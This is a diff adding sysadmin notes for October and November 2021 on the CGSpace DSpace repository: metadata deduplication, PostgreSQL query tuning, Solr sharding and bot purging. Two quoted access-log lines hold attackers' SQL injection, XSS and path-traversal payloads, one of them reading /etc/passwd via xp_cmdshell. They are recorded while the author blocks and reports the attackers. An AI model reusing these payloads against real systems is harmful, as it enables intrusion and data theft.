$ grep -c 'Removing duplicate value' /tmp/out.log
+391
+
    +
  • I tried to export ILRI’s community, but ran into the export bug (DS-4211) +
      +
    • After applying the patch on my local instance I was able to export, but found many duplicate items in the CSV (as I also noticed in 2021-02):
      • +
    +
    • +
+
$ csvcut -c id /tmp/ilri-duplicate-metadata.csv | sed '1d' | wc -l 
+32070
+$ csvcut -c id /tmp/ilri-duplicate-metadata.csv | sort -u | sed '1d' | wc -l
+19315
+
    +
  • It seems there are only about 200 duplicate values in this subset of fields in ILRI’s community:
    • +
+
$ grep -c 'Removing duplicate value' /tmp/out.log
+220
+
    +
  • I found a cool way to select only the items with corrections +
      +
    • First, extract a handful of fields from the CSV with csvcut
      • +
    • Second, clean the CSV with csv-metadata-quality
      • +
    • Third, rename the columns to something obvious in the cleaned CSV
      • +
    • Fourth, use csvjoin to merge the cleaned file with the original
      • +
    +
    • +
+
$ csvcut -c 'id,cg.contributor.affiliation[en_US],cg.coverage.country[en_US],cg.coverage.iso3166-alpha2[en_US],cg.coverage.subregion[en_US],cg.identifier.doi[en_US],cg.identifier.url[en_US],cg.isijournal[en_US],cg.issn[en_US],dc.contributor.author[en_US],dcterms.subject[en_US]' /tmp/ilri.csv | csvsort | uniq > /tmp/ilri-deduplicated-items.csv
+$ csv-metadata-quality -i /tmp/ilri-deduplicated-items.csv -o /tmp/ilri-deduplicated-items-cleaned.csv | tee /tmp/out.log
+$ sed -i -e '1s/en_US/en_Fu/g' /tmp/ilri-deduplicated-items-cleaned.csv
+$ csvjoin -c id /tmp/ilri-deduplicated-items.csv /tmp/ilri-deduplicated-items-cleaned.csv > /tmp/ilri-deduplicated-items-cleaned-joined.csv
+
    +
  • Then I imported the file into OpenRefine and used a custom text facet with a GREL like this to identify the rows with changes:
    • +
+
if(cells['dcterms.subject[en_US]'].value == cells['dcterms.subject[en_Fu]'].value,"same","different")
+
    +
  • For these rows I starred them and then blanked out the original field so DSpace would see it as a removal, and add the new column +
      +
    • After these are uploaded I will normalize the text_lang fields in PostgreSQL again
      • +
    +
    • +
  • I did the same for CIAT but there were over 7,000 duplicate metadata values! Hard to believe:
    • +
+
$ grep -c 'Removing duplicate value' /tmp/out.log
+7720
+
    +
  • I applied these to the CIAT community, so in total that’s over 8,000 duplicate metadata values removed in a handful of fields…
    • +
+

2021-10-09

+
    +
  • I did similar metadata cleanups for CCAFS and IITA too, but there were only a few hundred duplicates there
    • +
  • Also of note, there are some other fixes too, for example in IITA’s community:
    • +
+
$ grep -c -E '(Fixing|Removing) (duplicate|excessive|invalid)' /tmp/out.log
+249
+
    +
  • I ran a full Discovery re-indexing on CGSpace
    • +
  • Then I exported all of CGSpace and extracted the ISSNs and ISBNs:
    • +
+
$ csvcut -c 'id,cg.issn[en_US],dc.identifier.issn[en_US],cg.isbn[en_US],dc.identifier.isbn[en_US]' /tmp/cgspace.csv > /tmp/cgspace-issn-isbn.csv
+
    +
  • I did cleanups on about seventy items with invalid and mixed ISSNs/ISBNs
    • +
+

2021-10-10

+
    +
  • Start testing DSpace 7.1-SNAPSHOT to see if it has the duplicate item bug on metadata-export (DS-4211)
    • +
  • First create a new PostgreSQL 13 container:
    • +
+
$ podman run --name dspacedb13 -v dspacedb13_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5433:5432 -d postgres:13-alpine
+$ createuser -h localhost -p 5433 -U postgres --pwprompt dspacetest
+$ createdb -h localhost -p 5433 -U postgres -O dspacetest --encoding=UNICODE dspace7
+$ psql -h localhost -p 5433 -U postgres dspace7 -c 'CREATE EXTENSION pgcrypto;'
+
    +
  • Then edit setting in dspace/config/local.cfg and build the backend server with Java 11:
    • +
+
$ mvn package
+$ cd dspace/target/dspace-installer
+$ ant fresh_install
+# fix database not being fully ready, causing Tomcat to fail to start the server application
+$ ~/dspace7/bin/dspace database migrate
+
    +
  • Copy Solr configs and start Solr:
    • +
+
$ cp -Rv ~/dspace7/solr/* ~/src/solr-8.8.2/server/solr/configsets
+$ ~/src/solr-8.8.2/bin/solr start
+
    +
  • Start my local Tomcat 9 instance:
    • +
+
$ systemctl --user start tomcat9@dspace7
+
    +
  • This works, so now I will drop the default database and import a dump from CGSpace
    • +
+
$ systemctl --user stop tomcat9@dspace7                                
+$ dropdb -h localhost -p 5433 -U postgres dspace7
+$ createdb -h localhost -p 5433 -U postgres -O dspacetest --encoding=UNICODE dspace7
+$ psql -h localhost -p 5433 -U postgres -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -p 5433 -U postgres -d dspace7 -O --role=dspacetest -h localhost dspace-2021-10-09.backup
+$ psql -h localhost -p 5433 -U postgres -c 'alter user dspacetest nosuperuser;'
+
    +
  • Delete Atmire migrations and some others that were “unresolved”:
    • +
+
$ psql -h localhost -p 5433 -U postgres dspace7 -c "DELETE FROM schema_version WHERE description LIKE '%Atmire%' OR description LIKE '%CUA%' OR description LIKE '%cua%';"
+$ psql -h localhost -p 5433 -U postgres dspace7 -c "DELETE FROM schema_version WHERE version IN ('5.0.2017.09.25', '6.0.2017.01.30', '6.0.2017.09.25');"
+
    +
  • Now DSpace 7 starts with my CGSpace data… nice +
      +
    • The Discovery indexing still takes seven hours… fuck
      • +
    +
    • +
  • I tested the metadata-export on DSpace 7.1-SNAPSHOT and it still has the duplicate items issue introduced by DS-4211 + +
    • +
  • Start a full reindex on AReS
    • +
+

2021-10-11

+
    +
  • Start a full Discovery reindex on my local DSpace 6.3 instance:
    • +
+
$ /usr/bin/time -f %M:%e chrt -b 0 ~/dspace63/bin/dspace index-discovery -b
+Loading @mire database changes for module MQM
+Changes have been processed
+836140:6543.6
+
    +
  • So that’s 1.8 hours versus 7 on DSpace 7, with the same database!
    • +
  • Several users wrote to me that CGSpace was slow recently +
      +
    • Looking at the PostgreSQL database I see connections look normal, but locks for dspaceWeb are high:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_stat_activity' | wc -l
+53
+$ psql -c "SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | wc -l
+1697
+$ psql -c "SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid WHERE application_name='dspaceWeb'" | wc -l
+1681
+
    +
  • Looking at Munin, I see there are indeed a higher number of locks starting on the morning of 2021-10-07:
    • +
+

PostgreSQL locks week

+
    +
  • The only thing I did on 2021-10-07 was import a few thousand metadata corrections…
    • +
  • I restarted PostgreSQL (instead of restarting Tomcat), so let’s see if that helps
    • +
  • I filed a bug for the DSpace 6/7 duplicate values metadata import issue
    • +
  • I tested the two patches for removing abandoned submissions from the workflow but unfortunately it seems that they are for the configurable aka XML workflow, and we are using the basic workflow
    • +
  • I discussed PostgreSQL issues with some people on the DSpace Slack +
      +
    • Looking at postgresqltuner.pl and https://pgtune.leopard.in.ua I realized that there were some settings that I hadn’t changed in a few years that I probably need to re-evaluate
      • +
    • For example, random_page_cost is recommended to be 1.1 in the PostgreSQL 10 docs (default is 4.0, but we use 1 since 2017 when it came up in Hacker News)
      • +
    • Also, effective_io_concurrency is recommended to be “hundreds” if you are using an SSD (default is 1)
      • +
    +
    • +
  • I also enabled the pg_stat_statements extension to try to understand what queries are being run the most often, and how long they take
    • +
+

2021-10-12

+
    +
  • I looked again at the duplicate items query I was doing with trigrams recently and found a few new things +
      +
    • Looking at the EXPLAIN ANALYZE plan for the query I noticed it wasn’t using any indexes
      • +
    • I read on StackExchange that, if we want to make use of indexes, we need to use the similarity operator (%), not the function similarity() because “index support is bound to operators in Postgres, not to functions”
      • +
    • A note about the query plan output is that we need to read it from the bottom up!
      • +
    • So with the similary operator we need to set the threshold like this now:
      • +
    +
    • +
+
localhost/dspace= > SET pg_trgm.similarity_threshold = 0.5;
+
    +
  • Next I experimented with using GIN or GiST indexes on metadatavalue, but they were slower than the existing DSpace indexes +
      +
    • I tested a few variations of the query I had been using and found it’s much faster if I use the similarity operator and keep the condition that object IDs are in the item table…
      • +
    +
    • +
+
localhost/dspace= > SELECT text_value, dspace_object_id FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=64 AND text_value % 'Traditional knowledge affects soil management ability of smallholder farmers in marginal areas';
+                                           text_value                                           │           dspace_object_id           
+────────────────────────────────────────────────────────────────────────────────────────────────┼──────────────────────────────────────
+ Traditional knowledge affects soil management ability of smallholder farmers in marginal areas │ 7af059af-9cd7-431b-8a79-7514896ca7dc
+(1 row)
+
+Time: 739.948 ms
+
    +
  • Now this script runs in four minutes (versus twenty-four!) and it still finds the same seven duplicates! Amazing!
    • +
  • I still don’t understand the differences in the query plan well enough, but I see it is using the DSpace default indexes and the results are accurate
    • +
  • So to summarize, the best to the worst query, all returning the same result:
    • +
+
localhost/dspace= > SET pg_trgm.similarity_threshold = 0.6;
+localhost/dspace= > SELECT text_value, dspace_object_id FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=64 AND text_value % 'Traditional knowledge affects soil management ability of smallholder farmers in marginal areas';
+                                           text_value                                           │           dspace_object_id           
+────────────────────────────────────────────────────────────────────────────────────────────────┼──────────────────────────────────────
+ Traditional knowledge affects soil management ability of smallholder farmers in marginal areas │ 7af059af-9cd7-431b-8a79-7514896ca7dc
+(1 row)
+
+Time: 683.165 ms
+Time: 635.364 ms
+Time: 674.666 ms
+
+localhost/dspace= > DISCARD ALL;
+localhost/dspace= > SET pg_trgm.similarity_threshold = 0.6;
+localhost/dspace= > SELECT text_value, dspace_object_id FROM metadatavalue WHERE metadata_field_id=64 AND text_value % 'Traditional knowledge affects soil management ability of smallholder farmers in marginal areas';
+                                           text_value                                           │           dspace_object_id           
+────────────────────────────────────────────────────────────────────────────────────────────────┼──────────────────────────────────────
+ Traditional knowledge affects soil management ability of smallholder farmers in marginal areas │ 7af059af-9cd7-431b-8a79-7514896ca7dc
+(1 row)
+
+Time: 1584.765 ms (00:01.585)
+Time: 1665.594 ms (00:01.666)
+Time: 1623.726 ms (00:01.624)
+
+localhost/dspace= > DISCARD ALL;
+localhost/dspace= > SELECT text_value, dspace_object_id FROM metadatavalue WHERE metadata_field_id=64 AND SIMILARITY(text_value,'Traditional knowledge affects soil management ability of smallholder farmers in marginal areas') > 0.6;
+                                           text_value                                           │           dspace_object_id           
+────────────────────────────────────────────────────────────────────────────────────────────────┼──────────────────────────────────────
+ Traditional knowledge affects soil management ability of smallholder farmers in marginal areas │ 7af059af-9cd7-431b-8a79-7514896ca7dc
+(1 row)
+
+Time: 4028.939 ms (00:04.029)
+Time: 4022.239 ms (00:04.022)
+Time: 4061.820 ms (00:04.062)
+
+localhost/dspace= > DISCARD ALL;
+localhost/dspace= > SELECT text_value, dspace_object_id FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=64 AND SIMILARITY(text_value,'Traditional knowledge affects soil management ability of smallholder farmers in marginal areas') > 0.6;
+                                           text_value                                           │           dspace_object_id           
+────────────────────────────────────────────────────────────────────────────────────────────────┼──────────────────────────────────────
+ Traditional knowledge affects soil management ability of smallholder farmers in marginal areas │ 7af059af-9cd7-431b-8a79-7514896ca7dc
+(1 row)
+
+Time: 4358.713 ms (00:04.359)
+Time: 4301.248 ms (00:04.301)
+Time: 4417.909 ms (00:04.418)
+

2021-10-13

+ +

2021-10-14

+
    +
  • Someone in the DSpace community already posted a fix for the DSpace 6/7 duplicate items export bug! + +
    • +
  • Altmetric support got back to us about the missing DOI–Handle link and said it was due to the TLS certificate chain on CGSpace +
      +
    • I checked and everything is actually working fine, so it could be their backend servers are old and don’t support the new Let’s Encrypt trust path
      • +
    • I asked them to put me in touch with their backend developers directly
      • +
    +
    • +
+

2021-10-17

+
    +
  • Revert the ssl-cert change on the Ansible infrastructure scripts so that nginx uses a manually generated “snakeoil” TLS certificate +
      +
    • The ssl-cert one is easier because it’s automatic, but they include the hostname in the bogus cert so it’s an unecessary leak of information
      • +
    +
    • +
  • I started doing some tests to upgrade Elasticsearch from 7.6.2 to 7.7, 7.8, 7.9, and eventually 7.10 on OpenRXV +
      +
    • I tested harvesting, reporting, filtering, and various admin actions with each version and they all worked fine, with no errors in any logs as far as I can see
      • +
    • This fixes bunches of issues, updates Java from 13 to 15, and the base image from CentOS 7 to 8, so it’s a decent amount of technical debt!
      • +
    • I even tried Elasticsearch 7.13.2, which has Java 16, and it works fine…
      • +
    • I submitted a pull request: https://github.com/ilri/OpenRXV/pull/126
      • +
    +
    • +
+

2021-10-20

+
    +
  • Meeting with Big Data and CGIAR repository players about the feasibility of moving to a single repository +
      +
    • We discussed several options, for example moving all DSpaces to CGSpace along with their permanent identifiers
      • +
    • The issue would be for centers like IFPRI who don’t use DSpace and have integrations with their website etc with their current repository
      • +
    +
    • +
+

2021-10-21

+
    +
  • Udana from IWMI contacted me to ask if I could do a one-off AReS harvest because they have some new items they need to report on
    • +
+

2021-10-22

+
    +
  • Abenet and others contacted me to say that the LDAP login was not working on CGSpace +
      +
    • I checked with ldapsearch and it is indeed not working:
      • +
    +
    • +
+
$ ldapsearch -x -H ldaps://AZCGNEROOT3.CGIARAD.ORG:636/ -b "dc=cgiarad,dc=org" -D "booo" -W "(sAMAccountName=fuuu)"
+Enter LDAP Password:
+ldap_bind: Invalid credentials (49)
+        additional info: 80090308: LdapErr: DSID-0C090447, comment: AcceptSecurityContext error, data 52e, v3839
+
    +
  • I sent a message to ILRI ICT to ask them to check the account +
      +
    • They reset the password so I ran all system updates and rebooted the server since users weren’t able to log in anyways
      • +
    +
    • +
+

2021-10-24

+
    +
  • CIP was asking about CGSpace stats again +
      +
    • The last time I helped them with this was in 2021-04, when I extracted stats for their community from the DSpace Statistics API
      • +
    +
    • +
  • In looking at the CIP stats request I got curious if there were any hits from all those Russian IPs before 2021-07 that I could purge +
      +
    • Sure enough there were a few hundred IPs belonging to those ASNs:
      • +
    +
    • +
+
$ http 'localhost:8081/solr/statistics/select?q=time%3A2021-04*&fl=ip&wt=json&indent=true&facet=true&facet.field=ip&facet.limit=200000&facet.mincount=1' > /tmp/2021-04-ips.json
+# Ghetto way to extract the IPs using jq, but I can't figure out how only print them and not the facet counts, so I just use sed
+$ jq '.facet_counts.facet_fields.ip[]' /tmp/2021-04-ips.json | grep -E '^"' | sed -e 's/"//g' > /tmp/ips.txt
+$ ./ilri/resolve-addresses-geoip2.py -i /tmp/ips.txt -o /tmp/2021-04-ips.csv
+$ csvgrep -c asn -r '^(49453|46844|206485|62282|36352|35913|35624|8100)$' /tmp/2021-04-ips.csv | csvcut -c network | sed 1d | sort -u > /tmp/networks-to-block.txt
+$ wc -l /tmp/networks-to-block.txt 
+125 /tmp/networks-to-block.txt
+$ grepcidr -f /tmp/networks-to-block.txt /tmp/ips.txt > /tmp/ips-to-purge.txt
+$ wc -l /tmp/ips-to-purge.txt
+202
+
    +
  • Attempting to purge those only shows about 3,500 hits, but I will do it anyways +
      +
    • Adding 64.39.108.48 from Qualys I get a total of 22631 hits purged
      • +
    +
    • +
  • I also purged another 5306 hits after checking the IPv4 list from AbuseIPDB.com
    • +
+

2021-10-25

+
    +
  • Help CIP colleagues with view and download statistics for their community in 2020 and 2021
    • +
+

2021-10-27

+
    +
  • Help ICARDA colleagues with GLDC reports on AReS +
      +
    • There was an issue due to differences in CRP metadata between repositories
      • +
    +
    • +
+

2021-10-28

+
    +
  • Meeting with Medha and a bunch of others about the FAIRscribe tool they have been developing +
      +
    • Seems it is a submission tool like MEL
      • +
    +
    • +
+

2021-10-29

+
    +
  • Linode alerted me that CGSpace (linode18) has high outbound traffic for the last two hours +
      +
    • This has happened a few other times this week so I decided to go look at the Solr stats for today
      • +
    • I see 93.158.91.62 is making thousands of requests to Discover with a normal user agent:
      • +
    +
    • +
+
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
+
    +
  • Even more annoying, they are not re-using their session ID:
    • +
+
$ grep 93.158.91.62 log/dspace.log.2021-10-29 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
+4888
+
    +
  • This IP has made 36,000 requests to CGSpace…
    • +
  • The IP is owned by Internet Vikings in Sweden
    • +
  • I purged their statistics and set up a temporary HTTP 403 telling them to use a real user agent
    • +
  • I see another one in Sweden a few days ago (192.36.109.131), also using the same exact user agent as above, but belonging to Resilans AB +
      +
    • I purged another 74,619 hits from this bot
      • +
    +
    • +
  • I added these two IPs to the nginx IP bot identifier
    • +
  • Jesus I found a few Russian IPs attempting SQL injection and path traversal, ie:
    • +
+
45.9.20.71 - - [20/Oct/2021:02:31:15 +0200] "GET /bitstream/handle/10568/1820/Rhodesgrass.pdf?sequence=4&OoxD=6591%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 143070 "https://cgspace.cgiar.org:443/bitstream/handle/10568/1820/Rhodesgrass.pdf" "Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11"
+
    +
  • I reported them to AbuseIPDB.com and purged their hits:
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ip.txt -p
+Purging 6364 hits from 45.9.20.71 in statistics
+Purging 8039 hits from 45.146.166.157 in statistics
+Purging 3383 hits from 45.155.204.82 in statistics
+
+Total number of bot hits purged: 17786
+

2021-10-31

+
    +
  • Update Docker containers for AReS on linode20 and run a fresh harvest
    • +
  • Found some strange IP (94.71.3.44) making 51,000 requests today with the user agent “Microsoft Internet Explorer” +
      +
    • It is in Greece, and it seems to be requesting each item’s XMLUI full metadata view, so I suspect it’s Gardian actually
      • +
    • I found it making another 25,000 requests yesterday…
      • +
    • I purged them from Solr
      • +
    +
    • +
  • Found 20,000 hits from Qualys (according to AbuseIPDB.com) using normal user agents… ugh, must be some ILRI ICT scan
    • +
  • Found more request from a Swedish IP (93.158.90.34) using that weird Firefox user agent that I noticed a few weeks ago:
    • +
+
Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:84.0) Gecko/20100101 Firefox/84.0
+
    +
  • That’s from ASN 12552 (IPO-EU, SE), which is operated by Internet Vikings, though AbuseIPDB.com says it’s Availo Networks AB
    • +
  • There’s another IP (3.225.28.105) that made a few thousand requests to the REST API from Amazon, though it’s using a normal user agent
    • +
+
# zgrep 3.225.28.105 /var/log/nginx/rest.log.* | wc -l
+3991
+~# zgrep 3.225.28.105 /var/log/nginx/rest.log.* | grep -oE 'GET /rest/(collections|handle|items)' | sort | uniq -c
+   3154 GET /rest/collections
+    427 GET /rest/handle
+    410 GET /rest/items
+
    +
  • It requested the CIAT Story Maps collection over 3,000 times last month… +
      +
    • I will purge those hits
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2021-11/index.html b/docs/2021-11/index.html new file mode 100644 index 000000000..9963d3e28 --- /dev/null +++ b/docs/2021-11/index.html @@ -0,0 +1,548 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + November, 2021 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

November, 2021

+

+ + in + Notes + + +

+
+

2021-11-02

+
    +
  • I experimented with manually sharding the Solr statistics on DSpace Test
    • +
  • First I exported all the 2019 stats from CGSpace:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics -f 'time:2019-*' -a export -o statistics-2019.json -k uid
+$ zstd statistics-2019.json
+
+
$ mkdir -p /home/dspacetest.cgiar.org/solr/statistics-2019/data
+# create core in Solr admin
+$ curl -s "http://localhost:8081/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>time:2019-*</query></delete>"
+$ ./run.sh -s http://localhost:8081/solr/statistics-2019 -a import -o statistics-2019.json -k uid
+
    +
  • The key thing above is that you create the core in the Solr admin UI, but the data directory must already exist so you have to do that first in the file system
    • +
  • I restarted the server after the import was done to see if the cores would come back up OK +
      +
    • I remember last time I tried this the manually created statistics cores didn’t come back up after I rebooted, but this time they did
      • +
    +
    • +
+

2021-11-03

+
    +
  • While inspecting the stats for the new statistics-2019 shard on DSpace Test I noticed that I can’t find any stats via the DSpace Statistics API for an item that should have some +
      +
    • I checked on CGSpace’s and I can’t find them there either, but I see them in Solr when I query in the admin UI
      • +
    • I need to debug that, but it doesn’t seem to be related to the sharding…
      • +
    +
    • +
+

2021-11-04

+
    +
  • I spent a little bit of time debugging the Solr bug with the statistics-2019 shard but couldn’t reproduce it for the few items I tested +
      +
    • So that’s good, it seems the sharding worked
      • +
    +
    • +
  • Linode alerted me to high CPU usage on CGSpace (linode18) yesterday +
      +
    • Looking at the Solr hits from yesterday I see 91.213.50.11 making 2,300 requests
      • +
    • According to AbuseIPDB.com this is owned by Registrarus LLC (registrarus.ru) and it has been reported for malicious activity by several users
      • +
    • The ASN is 50340 (SELECTEL-MSK, RU)
      • +
    • They are attempting SQL injection:
      • +
    +
    • +
+
91.213.50.11 - - [03/Nov/2021:06:47:20 +0100] "HEAD /bitstream/handle/10568/106239/U19ArtSimonikovaChromosomeInthomNodev.pdf?sequence=1%60%20WHERE%206158%3D6158%20AND%204894%3D4741--%20kIlq&isAllowed=y HTTP/1.1" 200 0 "https://cgspace.cgiar.org:443/bitstream/handle/10568/106239/U19ArtSimonikovaChromosomeInthomNodev.pdf" "Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10"
+
    +
  • Another is in China, and they grabbed 1,200 PDFs from the REST API in under an hour:
    • +
+
# zgrep 222.129.53.160 /var/log/nginx/rest.log.2.gz | wc -l
+1178
+
    +
  • I will continue to split the Solr statistics back into year-shards on DSpace Test (linode26) +
      +
    • Today I did all 2018 stats…
      • +
    • I want to see if there is a noticeable change in JVM memory, Solr response time, etc
      • +
    +
    • +
+

2021-11-07

+
    +
  • Update all Docker containers on AReS and rebuild OpenRXV:
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose build
+
    +
  • Then restart the server and start a fresh harvest
    • +
  • Continue splitting the Solr statistics into yearly shards on DSpace Test (doing 2017, 2016, 2015, and 2014 today)
    • +
  • Several users wrote to me last week to say that workflow emails haven’t been working since 2021-10-21 or so +
      +
    • I did a test on CGSpace and it’s indeed broken:
      • +
    +
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: fuuuu
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.SendFailedException: Send failure (javax.mail.AuthenticationFailedException: 535 5.7.139 Authentication unsuccessful, the user credentials were incorrect. [AM5PR0701CA0005.eurprd07.prod.outlook.com]
+)
+
+Please see the DSpace documentation for assistance.
+
    +
  • I sent a message to ILRI ICT to ask them to check the account/password
    • +
  • I want to do one last test of the Elasticsearch updates on OpenRXV so I got a snapshot of the latest Elasticsearch volume used on the production AReS instance:
    • +
+
# tar czf openrxv_esData_7.tar.xz /var/lib/docker/volumes/openrxv_esData_7
+
    +
  • Then on my local server:
    • +
+
$ mv ~/.local/share/containers/storage/volumes/openrxv_esData_7/ ~/.local/share/containers/storage/volumes/openrxv_esData_7.2021-11-07.bak
+$ tar xf /tmp/openrxv_esData_7.tar.xz -C ~/.local/share/containers/storage/volumes --strip-components=4
+$ find ~/.local/share/containers/storage/volumes/openrxv_esData_7 -type f -exec chmod 660 {} \;
+$ find ~/.local/share/containers/storage/volumes/openrxv_esData_7 -type d -exec chmod 770 {} \;
+# copy backend/data to /tmp for the repository setup/layout
+$ rsync -av --partial --progress --delete provisioning@ares:/tmp/data/ backend/data
+
    +
  • This seems to work: all items, stats, and repository setup/layout are OK
    • +
  • I merged my Elasticsearch pull request from last month into OpenRXV
    • +
+

2021-11-08

+
    +
  • File an issue for the Angular flash of unstyled content on DSpace 7
    • +
  • Help Udana from IWMI with a question about CGSpace statistics +
      +
    • He found conflicting numbers when using the community and collection modes in Content and Usage Analysis
      • +
    • I sent him more numbers directly from the DSpace Statistics API
      • +
    +
    • +
+

2021-11-09

+
    +
  • I migrated the 2013, 2012, and 2011 statistics to yearly shards on DSpace Test’s Solr to continute my testing of memory / latency impact
    • +
  • I found out why the CI jobs for the DSpace Statistics API had been failing the past few weeks +
      +
    • When I reverted to using the original falcon-swagger-ui project after they apparently merged my Falcon 3 changes, it seems that they actually only merged the Swagger UI changes, not the Falcon 3 fix!
      • +
    • I switched back to using my own fork and now it’s working
      • +
    • Unfortunately now I’m getting an error installing my dependencies with Poetry:
      • +
    +
    • +
+
RuntimeError
+
+Unable to find installation candidates for regex (2021.11.9)
+
+at /usr/lib/python3.9/site-packages/poetry/installation/chooser.py:72 in choose_for
+     68│
+     69│             links.append(link)
+     70│
+     71│         if not links:
+  →  72│             raise RuntimeError(
+     73│                 "Unable to find installation candidates for {}".format(package)
+     74│             )
+     75│
+     76│         # Get the best link
+
    +
  • So that’s super annoying… I’m going to try using Pipenv again…
    • +
+

2021-11-10

+
    +
  • 93.158.91.62 is scraping us again +
      +
    • That’s an IP in Sweden that is clearly a bot, but pretending to use a normal user agent
      • +
    • I added them to the “bot” list in nginx so the requests will share a common DSpace session with other bots and not create Solr hits, but still they are causing high outbound traffic
      • +
    • I modified the nginx configuration to send them an HTTP 403 and tell them to use a bot user agent
      • +
    +
    • +
+

2021-11-14

+
    +
  • I decided to update AReS to the latest OpenRXV version with Elasticsearch 7.13 +
      +
    • First I took backups of the Elasticsearch volume and OpenRXV backend data:
      • +
    +
    • +
+
$ docker-compose down
+$ sudo tar czf openrxv_esData_7-2021-11-14.tar.xz /var/lib/docker/volumes/openrxv_esData_7
+$ cp -a backend/data backend/data.2021-11-14
+
    +
  • Then I checked out the latest git commit, updated all images, rebuilt the project:
    • +
+
$ docker images | grep -v ^REPO | sed 's/ \+/:/g' | cut -d: -f1,2 | xargs -L1 docker pull
+$ docker-compose build
+$ docker-compose up -d
+
    +
  • Then I updated the repository configurations and started a fresh harvest
    • +
  • Help Francesca from the Alliance with a question about embargos on CGSpace items +
      +
    • I logged in as a normal user and a CGIAR user, and I was unable to access the PDF or full text of the item
      • +
    • I was only able to access the PDF when I was logged in as an admin
      • +
    +
    • +
+

2021-11-21

+
    +
  • Update all Docker images on AReS (linode20) and re-build OpenRXV +
      +
    • Run all system updates and reboot the server
      • +
    • Start a full harvest, but I notice that the number of items being harvested is not complete, so I stopped it
      • +
    +
    • +
  • Run all system updates on CGSpace (linode18) and DSpace Test (linode26) and reboot them
    • +
  • ICT finally got back to use about the passwords for SMTP so I updated that and tested it to make sure it’s working
    • +
  • Some bot with IP 87.203.87.141 in Greece is making tons of requests to XMLUI with the user agent Microsoft Internet Explorer +
      +
    • I added them to the list of IPs in nginx that get an HTTP 403 with a message to use a real user agent
      • +
    • I will also purge all their requests from Solr:
      • +
    +
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips -p
+Purging 10893 hits from 87.203.87.141 in statistics
+
+Total number of bot hits purged: 10893
+
    +
  • I did a bit more work documenting and tweaking the PostgreSQL configuration for CGSpace and DSpace Test in the Ansible infrastructure playbooks +
      +
    • I finally deployed the changes on both servers
      • +
    +
    • +
+

2021-11-22

+
    +
  • Udana asked me about validating on OpenArchives again +
      +
    • According to my notes we actually completed this in 2021-08, but for some reason we are no longer on the list and I can’t validate again
      • +
    • There seems to be a problem with their website because every link I try to validate says it received an HTTP 500 response from CGSpace
      • +
    +
    • +
+

2021-11-23

+
    +
  • Help RTB colleagues with thumbnail issues on their 2020 Annual Report +
      +
    • The PDF seems to be in landscape mode or something and the first page is half width, so the thumbnail renders with the left half being white
      • +
    • I generated a new one manually with libvips and it is better:
      • +
    +
    • +
+
$ vipsthumbnail AR\ RTB\ 2020.pdf -s 600 -o '%s.jpg[Q=85,optimize_coding,strip]'
+
    +
  • I sent an email to the OpenArchives.org contact to ask for help with the OAI validator +
      +
    • Someone responded to say that there have been a number of complaints about this on the oai-pmh mailing list recently…
      • +
    +
    • +
  • I sent an email to Pythagoras from GARDIAN to ask if they can use a more specific user agent than “Microsoft Internet Explorer” for their scraper +
      +
    • He said he will change the user agent
      • +
    +
    • +
+

2021-11-24

+
    +
  • I had an idea to check our Solr statistics for hits from all the IPs that I have listed in nginx as being bots +
      +
    • Other than a few that I ruled out that may be humans, these are all making requests within one month or with no user agent, which is highly suspicious:
      • +
    +
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt
+Found 8352 hits from 138.201.49.199 in statistics
+Found 9374 hits from 78.46.89.18 in statistics
+Found 2112 hits from 93.179.69.74 in statistics
+Found 1 hits from 31.6.77.23 in statistics
+Found 5 hits from 34.209.213.122 in statistics
+Found 86772 hits from 163.172.68.99 in statistics
+Found 77 hits from 163.172.70.248 in statistics
+Found 15842 hits from 163.172.71.24 in statistics
+Found 172954 hits from 104.154.216.0 in statistics
+Found 3 hits from 188.134.31.88 in statistics
+
+Total number of hits from bots: 295492
+

2021-11-27

+
    +
  • Peter sent me corrections for the authors that I had sent him back in 2021-09 +
      +
    • I did a quick sanity check on them with OpenRefine, filtering out all the metadata with no replacements, then ran through my csv-metadata-quality script
      • +
    • Then I imported them into my local instance as a test:
      • +
    +
    • +
+
